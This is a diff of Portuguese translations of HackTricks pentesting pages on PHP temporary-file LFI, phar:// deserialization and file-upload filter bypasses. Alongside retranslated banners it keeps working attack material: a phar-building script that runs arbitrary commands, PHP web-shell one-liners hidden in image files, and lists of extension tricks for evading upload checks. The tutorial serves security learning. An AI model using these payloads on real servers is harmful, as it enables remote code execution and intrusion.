||||||
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
<summary><strong>Aprenda hacking na AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
Outras maneiras de apoiar o HackTricks:
|
Outras maneiras de apoiar o HackTricks:
|
||||||
|
|
||||||
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||||
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||||
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
|
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
|
@ -4,31 +4,31 @@
|
||||||
|
|
||||||
Outras maneiras de apoiar o HackTricks:
|
Outras maneiras de apoiar o HackTricks:
|
||||||
|
|
||||||
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
* Se você quiser ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||||
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||||
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
|
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
**Confira os detalhes completos desta técnica em [https://gynvael.coldwind.pl/download.php?f=PHP\_LFI\_rfc1867\_temporary\_files.pdf](https://gynvael.coldwind.pl/download.php?f=PHP\_LFI\_rfc1867\_temporary\_files.pdf)**
|
**Verifique todos os detalhes desta técnica em [https://gynvael.coldwind.pl/download.php?f=PHP\_LFI\_rfc1867\_temporary\_files.pdf](https://gynvael.coldwind.pl/download.php?f=PHP\_LFI\_rfc1867\_temporary\_files.pdf)**
|
||||||
|
|
||||||
## **Upload de Arquivos PHP**
|
## **Upload de Arquivos PHP**
|
||||||
|
|
||||||
Quando um mecanismo **PHP** recebe uma **solicitação POST** contendo arquivos formatados de acordo com o RFC 1867, ele gera arquivos temporários para armazenar os dados enviados. Esses arquivos são cruciais para o tratamento de upload de arquivos em scripts PHP. A função `move_uploaded_file` deve ser usada para mover esses arquivos temporários para um local desejado, se for necessário armazenamento persistente além da execução do script. Após a execução, o PHP exclui automaticamente quaisquer arquivos temporários restantes.
|
Quando um mecanismo **PHP** recebe uma **solicitação POST** contendo arquivos formatados de acordo com o RFC 1867, ele gera arquivos temporários para armazenar os dados enviados. Esses arquivos são cruciais para o tratamento de upload de arquivos em scripts PHP. A função `move_uploaded_file` deve ser usada para mover esses arquivos temporários para um local desejado, se for necessário armazenamento persistente além da execução do script. Após a execução, o PHP exclui automaticamente quaisquer arquivos temporários restantes.
|
||||||
|
|
||||||
{% hint style="info" %}
|
{% hint style="info" %}
|
||||||
**Alerta de Segurança: Hackers, cientes da localização dos arquivos temporários, podem explorar uma vulnerabilidade de Inclusão de Arquivo Local para executar código acessando o arquivo durante o upload.**
|
**Alerta de Segurança: Atacantes, cientes da localização dos arquivos temporários, podem explorar uma vulnerabilidade de Inclusão de Arquivo Local para executar código acessando o arquivo durante o upload.**
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
O desafio para o acesso não autorizado está em prever o nome do arquivo temporário, que é intencionalmente randomizado.
|
O desafio para o acesso não autorizado está em prever o nome do arquivo temporário, que é intencionalmente randomizado.
|
||||||
|
|
||||||
#### Exploração em Sistemas Windows
|
#### Exploração em Sistemas Windows
|
||||||
|
|
||||||
No Windows, o PHP gera nomes de arquivos temporários usando a função `GetTempFileName`, resultando em um padrão como `<caminho>\<prefixo><uuuu>.TMP`. Notavelmente:
|
No Windows, o PHP gera nomes de arquivos temporários usando a função `GetTempFileName`, resultando em um padrão como `<caminho>\<pre><uuuu>.TMP`. Notavelmente:
|
||||||
|
|
||||||
- O caminho padrão é tipicamente `C:\Windows\Temp`.
|
- O caminho padrão é tipicamente `C:\Windows\Temp`.
|
||||||
- O prefixo é geralmente "php".
|
- O prefixo é geralmente "php".
|
||||||
|
|
|
@ -1,30 +1,30 @@
|
||||||
# phar:// deserialização
|
# Deserialização phar://
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>Aprenda hacking no AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
Outras formas de apoiar o HackTricks:
|
Outras formas de apoiar o HackTricks:
|
||||||
|
|
||||||
* Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||||
* Adquira o [**material oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
* **Junte-se ao grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou ao grupo [**telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||||
* **Compartilhe suas técnicas de hacking enviando PRs para os repositórios do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) no github.
|
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
||||||
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||||
|
|
||||||
Se você está interessado em **carreira em hacking** e hackear o inquebrável - **estamos contratando!** (_fluência em polonês escrita e falada exigida_).
|
Se você está interessado em uma **carreira de hacking** e hackear o inquebrável - **estamos contratando!** (_fluência em polonês escrita e falada necessária_).
|
||||||
|
|
||||||
{% embed url="https://www.stmcyber.com/careers" %}
|
{% embed url="https://www.stmcyber.com/careers" %}
|
||||||
|
|
||||||
Arquivos **Phar** (PHP Archive) **contêm metadados em formato serializado**, então, quando analisados, esses **metadados** são **desserializados** e você pode tentar abusar de uma vulnerabilidade de **desserialização** dentro do código **PHP**.
|
Os arquivos **Phar** (PHP Archive) **contêm metadados no formato serializado**, então, ao serem analisados, esses **metadados** são **desserializados** e você pode tentar abusar de uma vulnerabilidade de **desserialização** dentro do código **PHP**.
|
||||||
|
|
||||||
O melhor dessa característica é que essa desserialização ocorrerá mesmo usando funções PHP que não executam código PHP como **file\_get\_contents(), fopen(), file() ou file\_exists(), md5\_file(), filemtime() ou filesize()**.
|
A melhor coisa sobre essa característica é que essa desserialização ocorrerá mesmo usando funções PHP que não avaliam código PHP como **file\_get\_contents(), fopen(), file() ou file\_exists(), md5\_file(), filemtime() ou filesize()**.
|
||||||
|
|
||||||
Então, imagine uma situação onde você pode fazer com que um web PHP obtenha o tamanho de um arquivo arbitrário usando o protocolo **`phar://`**, e dentro do código você encontra uma **classe** semelhante à seguinte:
|
Portanto, imagine uma situação em que você pode fazer um site PHP obter o tamanho de um arquivo arbitrário usando o protocolo **`phar://`**, e dentro do código você encontra uma **classe** semelhante à seguinte:
|
||||||
|
|
||||||
{% code title="vunl.php" %}
|
{% code title="vunl.php" %}
|
||||||
```php
|
```php
|
||||||
|
@ -44,7 +44,7 @@ filesize("phar://test.phar"); #The attacker can control this path
|
||||||
```
|
```
|
||||||
{% endcode %}
|
{% endcode %}
|
||||||
|
|
||||||
Você pode criar um arquivo **phar** que, quando carregado, **abusará desta classe para executar comandos arbitrários** com algo como:
|
Você pode criar um arquivo **phar** que, quando carregado, **abusará dessa classe para executar comandos arbitrários** com algo como:
|
||||||
|
|
||||||
{% code title="create_phar.php" %}
|
{% code title="create_phar.php" %}
|
||||||
```php
|
```php
|
||||||
|
@ -74,7 +74,7 @@ $phar->stopBuffering();
|
||||||
```
|
```
|
||||||
{% endcode %}
|
{% endcode %}
|
||||||
|
|
||||||
Note como os **bytes mágicos do JPG** (`\xff\xd8\xff`) são adicionados no início do arquivo phar para **burlar** **possíveis** restrições de **upload** de arquivos.\
|
Observe como os **bytes mágicos do JPG** (`\xff\xd8\xff`) são adicionados no início do arquivo phar para **burlar** **possíveis** **restrições de upload** de arquivos.\
|
||||||
**Compile** o arquivo `test.phar` com:
|
**Compile** o arquivo `test.phar` com:
|
||||||
```bash
|
```bash
|
||||||
php --define phar.readonly=0 create_phar.php
|
php --define phar.readonly=0 create_phar.php
|
||||||
|
@ -87,22 +87,22 @@ php vuln.php
|
||||||
|
|
||||||
{% embed url="https://blog.ripstech.com/2018/new-php-exploitation-technique/" %}
|
{% embed url="https://blog.ripstech.com/2018/new-php-exploitation-technique/" %}
|
||||||
|
|
||||||
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||||
|
|
||||||
Se você tem interesse em **carreira de hacking** e em hackear o inquebrável - **estamos contratando!** (_é necessário polonês fluente escrito e falado_).
|
Se você está interessado em **carreira de hacking** e hackear o inhackeável - **estamos contratando!** (_fluência em polonês escrita e falada é necessária_).
|
||||||
|
|
||||||
{% embed url="https://www.stmcyber.com/careers" %}
|
{% embed url="https://www.stmcyber.com/careers" %}
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>Aprenda hacking no AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
<summary><strong>Aprenda hacking AWS de zero a herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
Outras formas de apoiar o HackTricks:
|
Outras maneiras de apoiar o HackTricks:
|
||||||
|
|
||||||
* Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||||
* Adquira o [**material oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
* **Junte-se ao grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou ao grupo [**telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||||
* **Compartilhe suas técnicas de hacking enviando PRs para os repositórios do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) no github.
|
* **Compartilhe seus truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
|
@ -9,7 +9,7 @@ Outras formas de apoiar o HackTricks:
|
||||||
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||||
* Adquira [**produtos oficiais PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Adquira [**produtos oficiais PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||||
* **Compartilhe suas dicas de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
|
* **Compartilhe suas dicas de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
@ -49,7 +49,7 @@ Outras extensões úteis:
|
||||||
* _file._
|
* _file._
|
||||||
* _file.php...._
|
* _file.php...._
|
||||||
* _file.pHp5...._
|
* _file.pHp5...._
|
||||||
4. Tente contornar as proteções **enganando o analisador de extensão** do lado do servidor com técnicas como **duplicar** a **extensão** ou **adicionar dados lixo** (bytes **nulos**) entre as extensões. _Você também pode usar as **extensões anteriores** para preparar um payload melhor._
|
4. Tente contornar as proteções **enganando o analisador de extensão** do lado do servidor com técnicas como **duplicar** a **extensão** ou **adicionar dados lixo** (bytes nulos) entre extensões. _Você também pode usar as **extensões anteriores** para preparar um payload melhor._
|
||||||
* _file.png.php_
|
* _file.png.php_
|
||||||
* _file.png.pHp5_
|
* _file.png.pHp5_
|
||||||
* _file.php#.png_
|
* _file.php#.png_
|
||||||
|
@ -61,7 +61,7 @@ Outras extensões úteis:
|
||||||
5. Adicione **outra camada de extensões** à verificação anterior:
|
5. Adicione **outra camada de extensões** à verificação anterior:
|
||||||
* _file.png.jpg.php_
|
* _file.png.jpg.php_
|
||||||
* _file.php%00.png%00.jpg_
|
* _file.php%00.png%00.jpg_
|
||||||
6. Tente colocar a **extensão de execução antes da extensão válida** e reze para que o servidor esteja mal configurado. (útil para explorar configurações incorretas do Apache onde qualquer coisa com a extensão\*\* _**.php**_**, mas** não necessariamente terminando em .php\*\* executará código):
|
6. Tente colocar a **extensão de execução antes da extensão válida** e torça para que o servidor esteja mal configurado. (útil para explorar configurações incorretas do Apache onde qualquer coisa com extensão\*\* _**.php**_**, mas** não necessariamente terminando em .php\*\* executará código):
|
||||||
* _ex: file.php.png_
|
* _ex: file.php.png_
|
||||||
7. Usando **fluxo de dados alternativo NTFS (ADS)** no **Windows**. Neste caso, um caractere de dois pontos ":" será inserido após uma extensão proibida e antes de uma permitida. Como resultado, um **arquivo vazio com a extensão proibida** será criado no servidor (por exemplo, "file.asax:.jpg"). Este arquivo pode ser editado posteriormente usando outras técnicas, como usar seu nome curto. O padrão “**::$data**” também pode ser usado para criar arquivos não vazios. Portanto, adicionar um caractere de ponto após esse padrão também pode ser útil para contornar restrições adicionais (por exemplo, “file.asp::$data.”)
|
7. Usando **fluxo de dados alternativo NTFS (ADS)** no **Windows**. Neste caso, um caractere de dois pontos ":" será inserido após uma extensão proibida e antes de uma permitida. Como resultado, um **arquivo vazio com a extensão proibida** será criado no servidor (por exemplo, "file.asax:.jpg"). Este arquivo pode ser editado posteriormente usando outras técnicas, como usar seu nome curto. O padrão “**::$data**” também pode ser usado para criar arquivos não vazios. Portanto, adicionar um caractere de ponto após esse padrão também pode ser útil para contornar restrições adicionais (por exemplo, “file.asp::$data.”)
|
||||||
8. Tente quebrar os limites do nome do arquivo. A extensão válida é cortada. E o PHP malicioso é deixado. AAA<--SNIP-->AAA.php
|
8. Tente quebrar os limites do nome do arquivo. A extensão válida é cortada. E o PHP malicioso é deixado. AAA<--SNIP-->AAA.php
|
||||||
|
@ -79,7 +79,7 @@ AAA<--SNIP 232 A-->AAA.php.png
|
||||||
|
|
||||||
### Bypass de Content-Type, Número Mágico, Compressão e Redimensionamento
|
### Bypass de Content-Type, Número Mágico, Compressão e Redimensionamento
|
||||||
|
|
||||||
* Contorne as verificações de **Content-Type** definindo o **valor** do **cabeçalho Content-Type** para: _image/png_ , _text/plain , application/octet-stream_
|
* Contorne as verificações de **Content-Type** definindo o **valor** do **header Content-Type** para: _image/png_ , _text/plain , application/octet-stream_
|
||||||
1. Wordlist de **Content-Type**: [https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/web/content-type.txt](https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/web/content-type.txt)
|
1. Wordlist de **Content-Type**: [https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/web/content-type.txt](https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/web/content-type.txt)
|
||||||
* Contorne a verificação de **número mágico** adicionando no início do arquivo os **bytes de uma imagem real** (confundir o comando _file_). Ou introduza o shell dentro dos **metadados**:\
|
* Contorne a verificação de **número mágico** adicionando no início do arquivo os **bytes de uma imagem real** (confundir o comando _file_). Ou introduza o shell dentro dos **metadados**:\
|
||||||
`exiftool -Comment="<?php echo 'Comando:'; if($_POST){system($_POST['cmd']);} __halt_compiler();" img.jpg`\
|
`exiftool -Comment="<?php echo 'Comando:'; if($_POST){system($_POST['cmd']);} __halt_compiler();" img.jpg`\
|
||||||
|
@ -87,7 +87,7 @@ AAA<--SNIP 232 A-->AAA.php.png
|
||||||
`echo '<?php system($_REQUEST['cmd']); ?>' >> img.png`
|
`echo '<?php system($_REQUEST['cmd']); ?>' >> img.png`
|
||||||
* Se a **compressão estiver sendo adicionada à sua imagem**, por exemplo, usando algumas bibliotecas PHP padrão como [PHP-GD](https://www.php.net/manual/fr/book.image.php), as técnicas anteriores não serão úteis. No entanto, você pode usar o **chunk PLTE** [**técnica definida aqui**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) para inserir algum texto que **sobreviverá à compressão**.
|
* Se a **compressão estiver sendo adicionada à sua imagem**, por exemplo, usando algumas bibliotecas PHP padrão como [PHP-GD](https://www.php.net/manual/fr/book.image.php), as técnicas anteriores não serão úteis. No entanto, você pode usar o **chunk PLTE** [**técnica definida aqui**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) para inserir algum texto que **sobreviverá à compressão**.
|
||||||
* [**Github com o código**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen\_plte\_png.php)
|
* [**Github com o código**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen\_plte\_png.php)
|
||||||
* A página da web também pode estar **redimensionando** a **imagem**, usando por exemplo as funções PHP-GD `imagecopyresized` ou `imagecopyresampled`. No entanto, você pode usar o **chunk IDAT** [**técnica definida aqui**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) para inserir algum texto que **sobreviverá à compressão**.
|
* A página da web também pode estar **redimensionando** a **imagem**, usando, por exemplo, as funções PHP-GD `imagecopyresized` ou `imagecopyresampled`. No entanto, você pode usar o **chunk IDAT** [**técnica definida aqui**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) para inserir algum texto que **sobreviverá à compressão**.
|
||||||
* [**Github com o código**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen\_idat\_png.php)
|
* [**Github com o código**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen\_idat\_png.php)
|
||||||
* Outra técnica para criar um payload que **sobrevive a um redimensionamento de imagem**, usando a função PHP-GD `thumbnailImage`. No entanto, você pode usar o **chunk tEXt** [**técnica definida aqui**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) para inserir algum texto que **sobreviverá à compressão**.
|
* Outra técnica para criar um payload que **sobrevive a um redimensionamento de imagem**, usando a função PHP-GD `thumbnailImage`. No entanto, você pode usar o **chunk tEXt** [**técnica definida aqui**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) para inserir algum texto que **sobreviverá à compressão**.
|
||||||
* [**Github com o código**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen\_tEXt\_png.php)
|
* [**Github com o código**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen\_tEXt\_png.php)
|
||||||
|
@ -99,18 +99,18 @@ AAA<--SNIP 232 A-->AAA.php.png
|
||||||
* **Possível divulgação de informações**:
|
* **Possível divulgação de informações**:
|
||||||
1. Faça o **upload várias vezes** (e ao **mesmo tempo**) do **mesmo arquivo** com o **mesmo nome**
|
1. Faça o **upload várias vezes** (e ao **mesmo tempo**) do **mesmo arquivo** com o **mesmo nome**
|
||||||
2. Faça o upload de um arquivo com o **nome** de um **arquivo** ou **pasta** que **já existe**
|
2. Faça o upload de um arquivo com o **nome** de um **arquivo** ou **pasta** que **já existe**
|
||||||
3. Fazer upload de um arquivo com **“.”, “..”, ou “…” como seu nome**. Por exemplo, no Apache no **Windows**, se a aplicação salvar os arquivos enviados no diretório “/www/uploads/”, o nome “.” criará um arquivo chamado “uploads” no diretório “/www/”.
|
3. Fazer upload de um arquivo com **“.”, “..”, ou “…” como seu nome**. Por exemplo, no Apache no **Windows**, se a aplicação salvar os arquivos enviados no diretório “/www/uploads/”, o nome de arquivo “.” criará um arquivo chamado “uploads” no diretório “/www/”.
|
||||||
4. Faça o upload de um arquivo que pode não ser facilmente excluído, como **“…:.jpg”** no **NTFS**. (Windows)
|
4. Faça o upload de um arquivo que pode não ser facilmente excluído, como **“…:.jpg”** no **NTFS**. (Windows)
|
||||||
5. Faça o upload de um arquivo no **Windows** com **caracteres inválidos** como `|<>*?”` em seu nome. (Windows)
|
5. Faça o upload de um arquivo no **Windows** com **caracteres inválidos** como `|<>*?”` em seu nome. (Windows)
|
||||||
6. Faça o upload de um arquivo no **Windows** usando **nomes reservados** (**proibidos**) como CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8 e LPT9.
|
6. Faça o upload de um arquivo no **Windows** usando **nomes reservados** (**proibidos**) como CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8 e LPT9.
|
||||||
* Tente também **fazer upload de um executável** (.exe) ou um **.html** (menos suspeito) que **executará código** quando acidentalmente aberto pela vítima.
|
* Tente também **fazer upload de um executável** (.exe) ou um **.html** (menos suspeito) que **executará código** quando acidentalmente aberto pela vítima.
|
||||||
|
|
||||||
### Truques de Extensão Especial
|
### Truques Especiais de Extensão
|
||||||
|
|
||||||
Se você está tentando fazer upload de arquivos para um servidor **PHP**, [dê uma olhada no truque **.htaccess** para executar código](https://book.hacktricks.xyz/pentesting/pentesting-web/php-tricks-esp#code-execution-via-httaccess).\
|
Se você está tentando fazer upload de arquivos para um servidor **PHP**, [dê uma olhada no truque **.htaccess** para executar código](https://book.hacktricks.xyz/pentesting/pentesting-web/php-tricks-esp#code-execution-via-httaccess).\
|
||||||
Se você está tentando fazer upload de arquivos para um servidor **ASP**, [dê uma olhada no truque **.config** para executar código](../../network-services-pentesting/pentesting-web/iis-internet-information-services.md#execute-config-files).
|
Se você está tentando fazer upload de arquivos para um servidor **ASP**, [dê uma olhada no truque **.config** para executar código](../../network-services-pentesting/pentesting-web/iis-internet-information-services.md#execute-config-files).
|
||||||
|
|
||||||
Os arquivos `.phar` são como os arquivos `.jar` para Java, mas para PHP, e podem ser **usados como um arquivo PHP** (executando-o com PHP, ou incluindo-o dentro de um script...)
|
Os arquivos `.phar` são como os arquivos `.jar` para Java, mas para PHP, e podem ser **usados como um arquivo PHP** (executando-o com PHP ou incluindo-o dentro de um script...).
|
||||||
|
|
||||||
A extensão `.inc` é às vezes usada para arquivos PHP que são apenas usados para **importar arquivos**, então, em algum momento, alguém poderia ter permitido **essa extensão ser executada**.
|
A extensão `.inc` é às vezes usada para arquivos PHP que são apenas usados para **importar arquivos**, então, em algum momento, alguém poderia ter permitido **essa extensão ser executada**.
|
||||||
|
|
||||||
|
@ -124,7 +124,7 @@ Se você puder fazer upload de um arquivo XML em um servidor Jetty, você pode o
|
||||||
|
|
||||||
Para uma exploração detalhada dessa vulnerabilidade, confira a pesquisa original: [Exploração de RCE do uWSGI](https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html).
|
